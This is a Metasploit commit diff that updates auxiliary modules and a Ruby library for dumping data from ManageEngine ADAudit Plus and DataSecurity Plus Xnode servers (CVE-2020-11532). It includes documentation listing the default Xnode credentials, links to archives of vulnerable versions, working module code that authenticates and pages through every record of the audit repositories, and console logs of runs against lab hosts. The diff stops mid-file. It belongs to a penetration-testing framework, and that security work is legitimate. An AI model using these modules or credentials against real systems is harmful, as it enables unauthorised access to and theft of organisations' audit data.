1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-09 04:26:11 +02:00

ManageEngine Xnode library changes and some docs/module adjustments after code review

This commit is contained in:
ErikWynter 2022-07-22 16:06:21 +03:00
parent 55079515ca
commit c6c745c633
10 changed files with 204 additions and 137 deletions

View File

@ -11,11 +11,12 @@ This is mostly done as a sanity check to ensure the Xnode server is working as e
Next, the module will iterate over a list of known Xnode data repositories and perform several requests for each in order to:
- Check if the data repository is configured on the target
- Obtain the total number of records in the data repository
- Obtain both the lowest and the highest value for the ID field (column)
- Obtain both the lowest and the highest value for the ID field (column). These values will be used
to determine the range of possible records to be queried.
If a given data repository exists, the module uses the above information to dump the data repository contents.
The maximum number of records returned for a search query is 10. To overcome this, the module performs series of requests
using the `dr:/dr_search` action,while specifying the ID values for each record.
using the `dr:/dr_search` action, while specifying the ID values for each record.
For example, if the lowest observed ID value is 15 and the highest is 41, the module will perform three requests:
1. A request for the records with ID values 15 to 24
2. A request for the records with ID values 25 to 34
@ -25,10 +26,11 @@ Empty records are ignored.
To view the raw Xnode requests and responses, enter `set VERBOSE true` before running the module.
By default, the module dumps only the data repositories (tables) and fields (columns) specified in the configuration file.
The configuration file can be set via the CONFIG_FILE option, but this is not required because a default config file exists.
The configuration file can be set via the CONFIG_FILE option, but this is not required because
a default config file exists at `data/exploits/manageengine_xnode/CVE-2020-11532/adaudit_plus_xnode_conf.yaml`.
The configuration file is then also used to add labels to the values sent by Xnode in response to a query.
This means that for every value in the Xnode response, the module will add the corresponding field name to the results
before writing those to a JSON file.
before writing those to a JSON file in ~/.msf4/loot.
It is also possible to use the DUMP_ALL option to obtain all data in all known data repositories without specifying data field names.
However, in the latter case the data won't be labeled.
@ -37,9 +39,17 @@ This module has been successfully tested against ManageEngine ADAudit Plus 6.0.3
and ADAudit Plus 6.0.7 (6076) running on Windows Server 2019.
## Installation Information
A free 30-day trial of ADAudit Plus can be downloaded [here](https://www.manageengine.com/products/active-directory-audit/download.html).
Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/).
All versions from 6000 through 6031 are configured with default Xnode credentials.
However, testing against vulnerable versions from the archives will make data enumeration impossible because
the free trials for those versions do not seem to allow ADAudit Plus to
actually start collecting data that can then be accessed via Xnode.
However, apart from some configuration changes, Xnode functions the same way on patched versions as it does on vulnerable versions,
so it is possible to test the modules against patched versions as long as the correct credentials are provided.
A free 30-day trial of the latest version of ADAudit Plus can be downloaded
[here](https://www.manageengine.com/products/active-directory-audit/download.html).
To install, just run the .exe and follow the instructions.
In order to configure the ManageEngine ADAudit Plus instance for testing, follow these steps:
In order to configure a patched ManageEngine ADAudit Plus instance for testing, follow these steps:
- Open the Xnode config file at `<install_dir>\apps\dataengine-xnode\conf\dataengine-xnode.conf`
- Note down the username and password
- Insert the following line:
@ -61,7 +71,39 @@ YAML File specifying the data repositories (tables) and fields (columns) to dump
Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
## Scenarios
### ADAudit Plus 6.0.7 (6076) running on Windows Server 2019 (custom password)
### ManageEngine ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2
```
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options
Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFIG_FILE /home/wynter/dev/metasploit-framework/data/exploits/manageeng no YAML file specifying the data repositories (tables) and fields (columns) to dump
ine_xnode/CVE-2020-11532/adaudit_plus_xnode_conf.yaml
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
PASSWORD chegan yes Password used to authenticate to the Xnode server
RHOSTS 192.168.1.41 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 29118 yes The target port (TCP)
USERNAME atom yes Username used to authenticate to the Xnode server
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run
[*] Running module against 192.168.1.41
[*] 192.168.1.41:29118 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.1.41:29118 - Target seems to be Xnode.
[+] 192.168.1.41:29118 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
[*] 192.168.1.41:29118 - Obtained expected Xnode "de_healh" status: "GREEN".
[*] 192.168.1.41:29118 - Target is running Xnode version: "XNODE_1_0_0".
[*] 192.168.1.41:29118 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\ADAudit Plus\apps\dataengine-xnode".
[*] 192.168.1.41:29118 - Data repository AdapFileAuditLog is empty.
[*] 192.168.1.41:29118 - The data repository AdapPowershellAuditLog is not available on the target.
[*] 192.168.1.41:29118 - The data repository AdapSysMonAuditLog is not available on the target.
[*] 192.168.1.41:29118 - The data repository AdapDNSAuditLog is not available on the target.
[*] 192.168.1.41:29118 - The data repository AdapADReplicationAuditLog is not available on the target.
[*] Auxiliary module execution completed
```
### ManageEngine ADAudit Plus 6.0.7 (6076) running on Windows Server 2019 (custom password)
```
msf6 > use auxiliary/gather/manageengine_adaudit_plus_xnode_enum
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set rhosts 192.168.1.25

View File

@ -11,11 +11,12 @@ This is mostly done as a sanity check to ensure the Xnode server is working as e
Next, the module will iterate over a list of known Xnode data repositories and perform several requests for each in order to:
- Check if the data repository is configured on the target
- Obtain the total number of records in the data repository
- Obtain both the lowest and the highest value for the ID field (column)
- Obtain both the lowest and the highest value for the ID field (column). These values will be used
to determine the range of possible records to be queried.
If a given data repository exists, the module uses the above information to dump the data repository contents.
The maximum number of records returned for a search query is 10. To overcome this, the module performs series of requests
using the `dr:/dr_search` action,while specifying the ID values for each record.
using the `dr:/dr_search` action, while specifying the ID values for each record.
For example, if the lowest observed ID value is 15 and the highest is 41, the module will perform three requests:
1. A request for the records with ID values 15 to 24
2. A request for the records with ID values 25 to 34
@ -25,21 +26,28 @@ Empty records are ignored.
To view the raw Xnode requests and responses, enter `set VERBOSE true` before running the module.
By default, the module dumps only the data repositories (tables) and fields (columns) specified in the configuration file.
The configuration file can be set via the CONFIG_FILE option, but this is not required because a default config file exists.
The configuration file can be set via the CONFIG_FILE option, but this is not required because
a default config file exists at `data/exploits/manageengine_xnode/CVE-2020-11532/datasecurity_plus_xnode_conf.yaml`.
The configuration file is then also used to add labels to the values sent by Xnode in response to a query.
This means that for every value in the Xnode response, the module will add the corresponding field name to the results
before writing those to a JSON file.
before writing those to a JSON file in ~/.msf4/loot.
It is also possible to use the DUMP_ALL option to obtain all data in all known data repositories without specifying data field names.
However, in the latter case the data won't be labeled.
This module has been successfully tested against DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2
and DataSecurity Plus 6.0.5 (6052) running on Windows Server 2019.
This module has been successfully tested against DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.
## Installation Information
Vulnerable versions of DataSecurity Plus are available [here](https://archives.manageengine.com/data-security/).
All versions from 6000 through 6011 are configured with default Xnode credentials.
However, testing against vulnerable versions from the archives will make data enumeration impossible because
the free trials for those versions do not seem to allow DataSecurity Plus to
actually start collecting data that can then be accessed via Xnode.
However, apart from some configuration changes, Xnode functions the same way on patched versions as it does on vulnerable versions,
so it is possible to test the modules against patched versions as long as the correct credentials are provided.
A free 30-day trial of DataSecurity Plus can be downloaded [here](https://www.manageengine.com/data-security/download.html).
To install, just run the .exe and follow the instructions.
In order to configure the ManageEngine DataSecurity Plus instance for testing, follow these steps:
In order to configure a patched ManageEngine DataSecurity Plus instance for testing, follow these steps:
- Open the Xnode config file at `<install_dir>\apps\dataengine-xnode\conf\dataengine-xnode.conf`
- Note down the username and password
- Insert the following line:
@ -61,46 +69,41 @@ YAML File specifying the data repositories (tables) and fields (columns) to dump
Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
## Scenarios
### DataSecurity Plus 6.0.5 (6052) running on Windows Server 2019 (custom password)
### ManageEngine DataSecurity Plus 6.0.1 (6010) on Windows Server 2012
```
msf6 > use auxiliary/gather/manageengine_datasecurity_plus_xnode_enum
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > set rhosts 192.168.1.25
rhosts => 192.168.1.25
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > set password custom_password
password => custom_password
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > options
Module options (auxiliary/gather/manageengine_datasecurity_plus_xnode_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFIG_FILE /root/github/manageengine/metasploit-framework/data/exploits/manageengine_xnode/CVE-2020-11532/datasecurity_pl no File specifying the data repositories (tables) and fields (columns) to dump
us_xnode_conf.yaml
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
PASSWORD custom_password yes Password used to authenticate to the Xnode server
RHOSTS 192.168.1.25 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 29119 yes The target port (TCP)
USERNAME atom
Name Current Setting Required Description
---- --------------- -------- -----------
CONFIG_FILE /home/wynter/dev/metasploit-framework/data/exploits/manageeng no YAML file specifying the data repositories (tables) and fields (columns) to dump
ine_xnode/CVE-2020-11532/datasecurity_plus_xnode_conf.yaml
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
PASSWORD chegan yes Password used to authenticate to the Xnode server
RHOSTS 192.168.1.41 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 29119 yes The target port (TCP)
USERNAME atom yes Username used to authenticate to the Xnode server
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum) > run
[*] Running module against 192.168.1.25
[*] Running module against 192.168.1.41
[*] 192.168.1.25:29119 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.1.25:29119 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
[*] 192.168.1.25:29119 - Obtained expected Xnode "de_healh" status: "GREEN".
[*] 192.168.1.25:29119 - Target is running Xnode version: "DataEngine-XNode 1.0.1 (1016)".
[*] 192.168.1.25:29119 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\DataSecurity Plus\apps\dataengine-xnode".
[*] 192.168.1.25:29119 - Data repository DSPEmailAuditAttachments is empty.
[*] 192.168.1.25:29119 - Data repository DSPEmailAuditReport is empty.
[*] 192.168.1.25:29119 - Data repository DSPEndpointAuditReport is empty.
[*] 192.168.1.25:29119 - Data repository DSPEndpointClassificationReport is empty.
[*] 192.168.1.25:29119 - Data repository DSPEndpointIncidentReport is empty.
[*] 192.168.1.25:29119 - Data repository DspEndpointPrinterAuditReport is empty.
[*] 192.168.1.25:29119 - Data repository DspEndpointWebAuditReport is empty.
[*] 192.168.1.25:29119 - Data repository DSPFileAnalysisAlerts is empty.
[*] 192.168.1.25:29119 - Data repository RAAlertHistory is empty.
[*] 192.168.1.25:29119 - Data repository RAIncidents is empty.
[*] 192.168.1.25:29119 - Data repository RAViolationRecords is empty.
[*] 192.168.1.41:29119 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.1.41:29119 - Target seems to be Xnode.
[+] 192.168.1.41:29119 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
[*] 192.168.1.41:29119 - Obtained expected Xnode "de_healh" status: "GREEN".
[*] 192.168.1.41:29119 - Target is running Xnode version: "XNODE_1_0_0".
[*] 192.168.1.41:29119 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\DataSecurity Plus\apps\dataengine-xnode".
[*] 192.168.1.41:29119 - Data repository DSPEmailAuditAttachments is empty.
[*] 192.168.1.41:29119 - Data repository DSPEmailAuditReport is empty.
[*] 192.168.1.41:29119 - Data repository DSPEndpointAuditReport is empty.
[*] 192.168.1.41:29119 - Data repository DSPEndpointClassificationReport is empty.
[*] 192.168.1.41:29119 - Data repository DSPEndpointIncidentReport is empty.
[*] 192.168.1.41:29119 - Data repository DspEndpointPrinterAuditReport is empty.
[*] 192.168.1.41:29119 - Data repository DspEndpointWebAuditReport is empty.
[*] 192.168.1.41:29119 - Data repository DSPFileAnalysisAlerts is empty.
[*] 192.168.1.41:29119 - Data repository RAAlertHistory is empty.
[*] 192.168.1.41:29119 - Data repository RAIncidents is empty.
[*] 192.168.1.41:29119 - Data repository RAViolationRecords is empty.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/manageengine_datasecurity_plus_xnode_enum)
```

View File

@ -3,16 +3,17 @@
module Msf
###
#
# This module provides a way of interacting with ManageEngine Xnode server as used in ADAudit Plus and DataSecurity Plus
# This module provides a way of interacting with ManageEngine Xnode server
# as used in ADAudit Plus and DataSecurity Plus
#
###
module Auxiliary::ManageengineXnode
module Auxiliary::ManageEngineXnode
include Msf::Auxiliary::Report
include Msf::Auxiliary::ManageengineXnode::Action
include Msf::Auxiliary::ManageengineXnode::BasicChecks
include Msf::Auxiliary::ManageengineXnode::Config
include Msf::Auxiliary::ManageengineXnode::Interact
include Msf::Auxiliary::ManageengineXnode::Process
include Msf::Auxiliary::ManageEngineXnode::Action
include Msf::Auxiliary::ManageEngineXnode::BasicChecks
include Msf::Auxiliary::ManageEngineXnode::Config
include Msf::Auxiliary::ManageEngineXnode::Interact
include Msf::Auxiliary::ManageEngineXnode::Process
def initialize(info = {})
super
@ -21,7 +22,7 @@ module Msf
[
Msf::OptString.new('USERNAME', [true, 'Username used to authenticate to the Xnode server', 'atom']),
Msf::OptString.new('PASSWORD', [true, 'Password used to authenticate to the Xnode server', 'chegan']),
], Msf::Auxiliary::ManageengineXnode
], Msf::Auxiliary::ManageEngineXnode
)
end
end

View File

@ -1,6 +1,6 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageengineXnode::Action
module Msf::Auxiliary::ManageEngineXnode::Action
# Returns an Xnode authentication request hash
#
# @param user [String] Username

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageengineXnode::BasicChecks
# Performs a sanity check and an authentication attempt against Xnode to verify if the target can be exploited
module Msf::Auxiliary::ManageEngineXnode::BasicChecks
# Performs a sanity check and an authentication attempt against Xnode to verify if the target is Xnode and if we can authenticate
#
# @param sock [Socket] Socket to use for the request
# @param user [String] Username

View File

@ -1,6 +1,11 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageengineXnode::Config
module Msf::Auxiliary::ManageEngineXnode::Config
CONFIG_FILE_DOES_NOT_EXIST = 1
CANNOT_READ_CONFIG_FILE = 2
DATA_TO_DUMP_EMPTY = 3
DATA_TO_DUMP_WRONG_FORMAT = 4
# Reads the configuration file for the current ManageEngine Xnode module in order to obtain the data repositories (tables) and fields (columns) to dump.
#
# @param config_file [String] String containing the full path to the configuration file to read.
@ -10,7 +15,8 @@ module Msf::Auxiliary::ManageengineXnode::Config
return 1 unless File.exists? config_file
begin
data_to_dump = YAML.load_file((config_file))
config_contents = File.read(config_file)
data_to_dump = YAML.safe_load((config_contents))
rescue StandardError => e
print_error("Encountered the following error while trying to load #{config_file}:\n#{e.to_s}")
return 2
@ -23,7 +29,7 @@ module Msf::Auxiliary::ManageengineXnode::Config
data_to_dump
end
# returns an array of data respositories that may exist in ManageEngine Audit Plus
# Returns an array of data respositories that may exist in ManageEngine Audit Plus
#
# @return [Array] list of possible data respositories in ManageEngine Audit Plus
def ad_audit_plus_data_repos
@ -37,7 +43,7 @@ module Msf::Auxiliary::ManageengineXnode::Config
end
# returns an array of data respositories that may exist in ManageEngine DataSecurity Plus
# Returns an array of data respositories that may exist in ManageEngine DataSecurity Plus
#
# @return [Array] list of possible data respositories in ManageEngine DataSecurity Plus
def datasecurity_plus_data_repos
@ -55,4 +61,12 @@ module Msf::Auxiliary::ManageengineXnode::Config
'RAViolationRecords',
]
end
# Returns the full module so that config_status::<status> can be used in the modules importing this library
# as shorthand to access the error codes defined at the start of the module
#
# @return [Module] Msf::Auxiliary::ManageEngineXnode::Config
def config_status
Msf::Auxiliary::ManageEngineXnode::Config
end
end

View File

@ -1,6 +1,6 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageengineXnode::Interact
module Msf::Auxiliary::ManageEngineXnode::Interact
# Create a socket to connect to an Xnode server and rescue any resulting errors
#
# @param rhost [String] Target IP
@ -26,8 +26,12 @@ module Msf::Auxiliary::ManageengineXnode::Interact
#
# @param sock [Socket] Socket to use for the request
# @param action_hash [Hash] Hash containing an Xnode-compatible request
# @return [Hash, Integer] Hash containing a JSON-parsed Xnode server response if interaction with the server succeeded, error code otherwise
# @return [Hash, nil] Hash containing a JSON-parsed Xnode server response if interaction with the server succeeded, nil otherwise
def send_to_sock(sock, action_hash)
unless action_hash.instance_of?(Hash)
print_error('The provided Xnode action is not a valid Hash. The request will not be performed.')
return nil
end
begin
vprint_status("Sending request: #{action_hash}")
@ -37,7 +41,7 @@ module Msf::Auxiliary::ManageengineXnode::Interact
r = sock.get
rescue StandardError => e
print_error("Encountered the following error while trying to interact with the Xnode server:\n#{e.to_s}")
return 1
return nil
end
vprint_status("Received response: #{r}")
@ -46,8 +50,9 @@ module Msf::Auxiliary::ManageengineXnode::Interact
begin
return JSON.parse(r)
rescue JSON::ParserError => e
print_error("Encountered the following error while trying to JSON parse the response from the Xnode server:\n#{e.to_s}")
return 1
print_error("Encountered the following error while trying to JSON parse the response from the Xnode server:")
print_error(e.to_s)
return nil
end
end
@ -55,21 +60,25 @@ module Msf::Auxiliary::ManageengineXnode::Interact
#
# @param sock [Socket] Socket to use for the request
# @param action_hash [Hash] Hash containing an Xnode-compatible request
# @param warning_messages [Array] Array of Strings print via print_warning if the server response doesn't match the expected format
# @param warning_message [String] String to print via print_warning if the server response doesn't match the expected format
# @param expected_response_key [String] String that should be present as a key in the 'response' hash that is expected to be part of the JSON response
# @return [Array, Integer] Array containing a response code and a JSON-parsed Xnode server response hash if interaction with the server succeeded, error code otherwise
def get_response(sock, action_hash, warning_messages=[], expected_response_key=nil)
# @return [Array] Array containing a response code and a JSON-parsed Xnode server response hash if interaction with the server succeeded, Array containing a response code and nil otherwise
def get_response(sock, action_hash, warning_message=nil, expected_response_key=nil)
res = send_to_sock(sock, action_hash)
return 1 if res == 1
return [1, nil] if res.nil?
unless res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash)
if expected_response_key
unless res['response'].keys.include?(expected_response_key)
warning_messages.each { |msg| print_warning(msg) }
return [1, res]
if warning_message
print_warning(warning_message)
end
return [1, res]
end
if expected_response_key
unless res['response'].keys.include?(expected_response_key)
if warning_message
print_warning(warning_message)
end
else
warning_messages.each { |msg| print_warning(msg) }
return [1, res]
end
end

View File

@ -1,21 +1,20 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageengineXnode::Process
include Msf::Auxiliary::ManageengineXnode::Action
include Msf::Auxiliary::ManageengineXnode::Interact
module Msf::Auxiliary::ManageEngineXnode::Process
include Msf::Auxiliary::ManageEngineXnode::Action
include Msf::Auxiliary::ManageEngineXnode::Interact
# Processes the obtained server response from a ManageEngine Xnode data repository search request
#
# @param res [Hash] JSON-parsed response from the Xnode server. This should be a Hash.
# @param res_code [Integer] Response code received during the previos get_response call
# @param res_code [Integer] Response code received during the previous get_response call
# @param repo_name [String] Name of the data repository that was queried
# @param fields [Array] names of the data repository fields (columns) that were dumped
# @param mode [String] the type of query that was performed: standard, total_hits, aggr_min or aggr_max
# @return [Array, Integer] Array containing the parsed query results if parsing succeeds, error code otherwise
# @return [Array, nil] Array containing the parsed query results if parsing succeeds, nil otherwise
def process_dr_search(res, res_code, repo_name, fields=nil, mode='standard')
if res_code == 1
print_error("Received unexpected reply when trying to dump table #{repo_name}: #{res}")
print_warning("The target may not be exploitable.")
return 1
if res_code == 1 || res.nil? || !(res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash))
vprint_error("Received unexpected reply when trying to dump table #{repo_name}: #{res}")
return nil
end
response = res['response']
@ -23,17 +22,17 @@ module Msf::Auxiliary::ManageengineXnode::Process
unless response.include?('search_result') && response.include?('total_hits')
if response.include?('error_msg')
error_msg = response['error_msg']
if /DataRepository for '[a-zA-Z]+' not found!/ =~ error_msg
if /DataRepository for '#{repo_name}' not found!/ =~ error_msg
print_status("The data repository #{repo_name} is not available on the target.")
return 1
return nil
end
print_error("Received error message: #{error_msg}")
return 1
return nil
end
print_error("Received unexpected query response: #{response}")
return 1
return nil
end
case mode
@ -43,12 +42,12 @@ module Msf::Auxiliary::ManageengineXnode::Process
unless total_hits && total_hits.is_a?(Integer)
print_error("Received unexpected reply when trying to obtain the number of total hits for table #{repo_name}.")
print_warning("The target may not be exploitable.")
return 1
return nil
end
if total_hits == 0
print_status("Data repository #{repo_name} is empty.")
return 1
return nil
end
return total_hits.to_s # return this as a string to the calling method can distinguish it from an error code
@ -56,35 +55,35 @@ module Msf::Auxiliary::ManageengineXnode::Process
aggr_type = mode.split("_")[1]
unless response.include?('aggr_result') && response['aggr_result'].is_a?(Hash) && response['aggr_result'].include?(aggr_type)
print_error("Received unexpected reply when trying to obtain #{aggr_type} aggregrate value for the UNIQUE_ID field.")
return 1
return nil
end
return response['aggr_result'][aggr_type]
when 'standard'
search_result = response['search_result']
if search_result.empty?
vprint_status("The query returned no records.")
return 1
end
unless search_result.is_a? Array
print_error("Received unexpected query response: #{response}")
return 1
return nil
end
return search_result if fields.nil?
if search_result.empty?
vprint_status("The query returned no records.")
return nil
end
return search_result unless fields.is_a? Array
process_results(search_result, repo_name, fields)
process_results(search_result, fields)
end
end
# Processes the search_result received from the Xnode server. If the fields parameter is provided, received values are mapped to known field (column) names.
#
# @param search_result [Array] nested Array containing the data repository rows and their values
# @param repo_name [String] Name of the data respository that was queried
# @param fields [Array] data repository fields (columns) that were dumped, used for mapping the search_result values to field names
# @return [Array] Array containing the query results if the provided paramters are correct, empty Array otherwise
def process_results(search_result, repo_name, fields)
# @return [Array, nil] Array containing the query results if the provided paramters are correct, nil otherwise
def process_results(search_result, fields)
return nil unless fields.is_a? Array
results = []
non_empty_val_ct = 0 # used to check the search results contains at least one non_empty value
# map the search returned values to the specified fields
@ -99,7 +98,7 @@ module Msf::Auxiliary::ManageengineXnode::Process
end
if non_empty_val_ct == 0
results = []
return nil
end
results

View File

@ -4,7 +4,7 @@
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::ManageengineXnode
include Msf::Auxiliary::ManageEngineXnode
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck
@ -93,13 +93,13 @@ class MetasploitModule < Msf::Auxiliary
# create a socket
res_code, sock_or_msg = create_socket_for_xnode(rhost, rport)
if res_code == 1
fail_with(Failure::Unreachable, 'Failed to establish a connection with the remote server')
fail_with(Failure::Unreachable, sock_or_msg)
end
@sock = sock_or_msg
end
# get the Xnode health status
health_warning_message = ['Received unexpected response while trying to obtain the Xnode "de_health" status. Enumeration may not work.']
health_warning_message = 'Received unexpected response while trying to obtain the Xnode "de_health" status. Enumeration may not work.'
res_code, res_health = get_response(@sock, action_admin_health, health_warning_message, 'de_health')
if res_code == 0
@ -111,7 +111,7 @@ class MetasploitModule < Msf::Auxiliary
end
# get the Xnode info
info_warning_message = ['Received unexpected response while trying to obtain the Xnode version and installation path via the "xnode_info" action. Enumeration may not work.']
info_warning_message = 'Received unexpected response while trying to obtain the Xnode version and installation path via the "xnode_info" action. Enumeration may not work.'
res_code, res_info = get_response(@sock, action_xnode_info, info_warning_message)
if res_code == 0
@ -134,22 +134,22 @@ class MetasploitModule < Msf::Auxiliary
# send a general query, which should return the "total_hits" parameter that represents the total record count
res_code, res = get_response(@sock, action_dr_search(repo))
total_hits = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'total_hits')
# check if total_hits is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
next if total_hits.is_a?(Integer)
# check if total_hits is nil, as that means process_dr_search failed and we should skip to the next repo
next if total_hits.nil?
# use "aggr" with the "min" specification for the UNIQUE_ID field in order to obtain the minimum value for this field, i.e. the oldest available record
aggr_min_query = { 'aggr' => { 'min' => { 'field' => 'UNIQUE_ID' } } }
res_code, res = get_response(@sock, action_dr_search(repo, ['UNIQUE_ID'], aggr_min_query))
aggr_min = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'aggr_min')
# check if aggr_min is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
next if aggr_min.is_a?(Integer)
# check if aggr_min is nil, as that means process_dr_search failed and we should skip to the next repo
next if aggr_min.nil?
# use "aggr" with the "max" specification for the UNIQUE_ID field in order to obtain the maximum value for this field, i.e. the most recent record
aggr_max_query = { 'aggr' => { 'max' => { 'field' => 'UNIQUE_ID' } } }
res_code, res = get_response(@sock, action_dr_search(repo, ['UNIQUE_ID'], aggr_max_query))
aggr_max = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'aggr_max')
# check if aggr_max is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
next if aggr_min.is_a?(Integer)
# check if aggr_max is nil, as that means process_dr_search failed and we should skip to the next repo
next if aggr_max.nil?
print_good("Data repository #{repo} contains #{total_hits} records with ID numbers between #{aggr_min} and #{aggr_max}.")
@ -169,13 +169,13 @@ class MetasploitModule < Msf::Auxiliary
data_to_dump = grab_config(config_file)
case data_to_dump
when 1
when config_status::CONFIG_FILE_DOES_NOT_EXIST
fail_with(Failure::BadConfig, "Unable to obtain the Xnode data repositories to target from #{config_file} because this file does not exist. Please correct your 'CONFIG_FILE' setting or set 'DUMP_ALL' to true.")
when 2
when config_status::CANNOT_READ_CONFIG_FILE
fail_with(Failure::BadConfig, "Unable to read #{config_file}. Check if your 'CONFIG_FILE' setting is correct and make sure the file is readable and properly formatted.")
when 3
when config_status::DATA_TO_DUMP_EMPTY
fail_with(Failure::BadConfig, "The #{config_file} does not seem to contain any data repositories and fields to dump. Please fix your configuration or set 'DUMP_ALL' to true.")
when 4
when config_status::DATA_TO_DUMP_WRONG_FORMAT
fail_with(Failure::BadConfig, "Unable to obtain the Xnode data repositories to target from #{config_file}. Check if your 'CONFIG_DIR' setting is correct or set 'DUMP_ALL' to true.")
end
end
@ -213,13 +213,13 @@ class MetasploitModule < Msf::Auxiliary
id_range_upper += 10
if id_range_upper > max_id
if hit_upper_limit
results += partial_results unless partial_results.is_a?(Integer)
results += partial_results unless partial_results.nil?
break
end
hit_upper_limit = true
id_range_upper = max_id
end
next if partial_results.is_a?(Integer)
next if partial_results.nil?
results += partial_results
end

View File

@ -4,7 +4,7 @@
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::ManageengineXnode
include Msf::Auxiliary::ManageEngineXnode
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck
@ -30,8 +30,7 @@ class MetasploitModule < Msf::Auxiliary
However, in the latter case the data won't be labeled.
This module has been successfully tested against ManageEngine
DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2
and DataSecurity Plus 6.0.5 (6052) running on Windows Server 2019.
DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.
},
'Author' => [
'Sahil Dhar', # discovery and PoC (for authentication only)
@ -93,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary
# create a socket
res_code, sock_or_msg = create_socket_for_xnode(rhost, rport)
if res_code == 1
fail_with(Failure::Unreachable, 'Failed to establish a connection with the remote server')
fail_with(Failure::Unreachable, sock_or_msg)
end
@sock = sock_or_msg
end
@ -134,22 +133,22 @@ class MetasploitModule < Msf::Auxiliary
# send a general query, which should return the "total_hits" parameter that represents the total record count
res_code, res = get_response(@sock, action_dr_search(repo))
total_hits = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'total_hits')
# check if total_hits is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
next if total_hits.is_a?(Integer)
# check if total_hits is nil, as that means process_dr_search failed and we should skip to the next repo
next if total_hits.nil?
# use "aggr" with the "min" specification for the UNIQUE_ID field in order to obtain the minimum value for this field, i.e. the oldest available record
aggr_min_query = { 'aggr' => { 'min' => { 'field' => 'UNIQUE_ID' } } }
res_code, res = get_response(@sock, action_dr_search(repo, ['UNIQUE_ID'], aggr_min_query))
aggr_min = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'aggr_min')
# check if aggr_min is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
next if aggr_min.is_a?(Integer)
# check if aggr_min is nil, as that means process_dr_search failed and we should skip to the next repo
next if aggr_min.nil?
# use "aggr" with the "max" specification for the UNIQUE_ID field in order to obtain the maximum value for this field, i.e. the most recent record
aggr_max_query = { 'aggr' => { 'max' => { 'field' => 'UNIQUE_ID' } } }
res_code, res = get_response(@sock, action_dr_search(repo, ['UNIQUE_ID'], aggr_max_query))
aggr_max = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'aggr_max')
# check if aggr_max is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
next if aggr_min.is_a?(Integer)
# check if aggr_max is nil, as that means process_dr_search failed and we should skip to the next repo
next if aggr_max.nil?
print_good("Data repository #{repo} contains #{total_hits} records with ID numbers between #{aggr_min} and #{aggr_max}.")
@ -169,13 +168,13 @@ class MetasploitModule < Msf::Auxiliary
data_to_dump = grab_config(config_file)
case data_to_dump
when 1
when config_status::CONFIG_FILE_DOES_NOT_EXIST
fail_with(Failure::BadConfig, "Unable to obtain the Xnode data repositories to target from #{config_file} because this file does not exist. Please correct your 'CONFIG_FILE' setting or set 'DUMP_ALL' to true.")
when 2
when config_status::CANNOT_READ_CONFIG_FILE
fail_with(Failure::BadConfig, "Unable to read #{config_file}. Check if your 'CONFIG_FILE' setting is correct and make sure the file is readable and properly formatted.")
when 3
when config_status::DATA_TO_DUMP_EMPTY
